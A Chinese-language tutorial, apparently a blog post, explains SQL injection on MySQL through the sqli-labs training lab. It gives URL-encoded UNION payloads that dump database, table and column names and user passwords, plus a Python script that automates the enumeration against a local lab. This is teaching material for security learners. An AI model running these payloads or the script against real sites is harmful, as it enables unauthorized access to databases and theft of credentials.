文章截图MySQL环境版本5.7.31-0ubuntu0.18.04.1
SQL(Structured Query Language,结构化查询语言),是一种数据库查询和程序设计语言,用于存储数据以及查更新和管理关系数据库系统。
说人话就是SQL可以理解为一种操作关系型数据库(这里关于什么是关系型数据库与非关系型数据库,可自行查询资料学习)的编程语言,既然是编程语言,就和C语言等其他语言一样具有自己的语法,有自己的规则,只是它只专注于数据库系统的操作。
SQL注入
即是指web应用程序对用户输入数据的合法性没有判断或者过滤不严,攻击者可以在web应用程序中事先定义好的查询语句末尾添上额外的SQL语句,以此来实现对数据库服务器执行非授权的任意查询,进而获得更的的数据库信息.
information_schema库重要的结构信息
数据库 | 表名 | 字段名 | 备注 |
---|---|---|---|
information_schema | schemata | schema_name | 所有数据库名 |
tables | table_name | 所有数据表名 | |
table_schema | 表所属数据库 | ||
columns | column_name | 所有字段名 | |
table_name | 字段所属表 |
和PHP一样,SQL也是一门弱类型的语言,当你进行查询的时候如果输入的参数类型和所对应的字段类型不一致时候,会自动进行类型转换。
注意这里字段id是int类型
如上图,当我们使用where字句进行查询的时候,传入的id参数类型应该是数字类型,但是当我们传入字符类型也可以查询到结果,甚至输入’1sdfsdg’也可以查询到结果,显示有一个警告,通过show warnings
可以查询到警告信息,可以很明显看到,当我们传入其他类型的时候,会自动进行类型转换,这就是弱类型的语言的特征,隐式类型转换。
寻找注入点 【黑盒测试 白盒测试】
对于有数据库交互的地方都可能存在SQL注入,需要通过经验、工具或者代码审计寻找注入点。
查询字段数 order by
order by 关键字后面可以是字段名或者栏位
order by <cloumn_name/cloumn_num> <asc/desc> # 默认使用升序,即asc通常不写
order by id asc; # 以字段名为id的栏升序排列
order by 1 asc; # 以第一个栏位升序排列
asc(ascend,上升)
desc(descend,下降)
在SQL注入过程中,当通过栏位进行排序时,如果栏位不存在时(即超过了字段数),就会报错,所以根据这个特性可以通过order by
进行字段数的猜解。
union联合查询暴库
select语句用于从数据库查询数据
union用于合并两个或多个select语句的结果集
注意:
union内部的每个select语句必须拥有相同数量的列
,否则就会报错。
如上图,当两个select语句列数量不一致时,就会报错ERROR 1222 (21000): The used SELECT statements have a different number of columns。
下面以sqli-labs演示一下基本注入,环境配置这里就不赘述了。
# 查询字段
http://127.0.0.1/sqli-labs/Less-1/?id=1%27%20order%20by%203%23
# 查看显示位
http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20%20union%20select%201,%202,%203%23
# 爆数据库名
http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20%20union%20select%201,%20group_concat(schema_name),%203%20from%20information_schema.schemata%23
# 爆数据表
http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20%20union%20select%201,%20group_concat(table_name),%203%20from%20information_schema.tables%20where%20table_schema=%27security%27%23
# 爆字段名
http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20%20union%20select%201,%20group_concat(column_name),%203%20from%20information_schema.columns%20where%20table_name=%27users%27%23
http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20%20union%20%20select%201,%20group_concat(username),%20group_concat(password)%20from%20users%23
py脚本
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author: moddemod
# datetime: 2020/8/23 0023 下午 8:09
# ide: PyCharm
import requests as req
import logging
import re
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s')
logger = logging.getLogger(__name__)
request = req.session()
# 注入点
base_url = 'http://127.0.0.1/sqli-labs/Less-1/'
# 获取字段数
def get_column_num():
inject_url = base_url + "?id=1"
for i in range(1, 10):
url = inject_url + "' order by " + str(i) + "%23"
text = request.get(url=url).text
logger.info('第' + str(i) + '进行测试...')
if is_correct(text=text, key='Unknown'):
return i - 1
return -1
# 判断,自定义关键字key
def is_correct(text: str, key: str):
if text.__contains__(key):
return True
return False
def filter_result(text: str):
# print(text)
result = re.search(r'name:(.*)
', text)
res = result.group(1)
return res
# 获取所有数据库名
def get_all_database():
inject_url = base_url + "?id=-1' union select 1, group_concat(schema_name), 3 from information_schema.schemata %23"
text = request.get(url=inject_url).text
database_list = filter_result(text).split(',')
return database_list
# 获取指定的数据库的表名
def get_spic_table(database):
inject_url = base_url + "?id=-1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema='{}' %23".format(database)
text = request.get(url=inject_url).text
table_list = filter_result(text).split(',')
return table_list
# 获取指定表名的字段名
def get_spic_column(table):
inject_url = base_url + "?id=-1' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name='{}' %23".format(table)
text = request.get(url=inject_url).text
column_list = filter_result(text).split(',')
return column_list
def main():
# print(get_column_num())
database_list = get_all_database()
# print(database_list)
# logger.info(database_list)
for database in database_list:
print(database)
table_list = get_spic_table(database=database)
# print(table_list)
# logger.info(table_list)
for table in table_list:
print(' ' + table)
column_list = get_spic_column(table=table)
# logger.info(column_list)
for column in column_list:
print(' ' + column)
# 指定表名和字段名进行查询数据
def get_info_data(table, field):
inject_url = base_url + "?id=-1' union select 1, group_concat({}), 3 from {} %23".format(field, table)
text = request.get(url=inject_url).text
result_list = filter_result(text=text).split(',')
for item in result_list:
print(item)
if __name__ == '__main__':
main()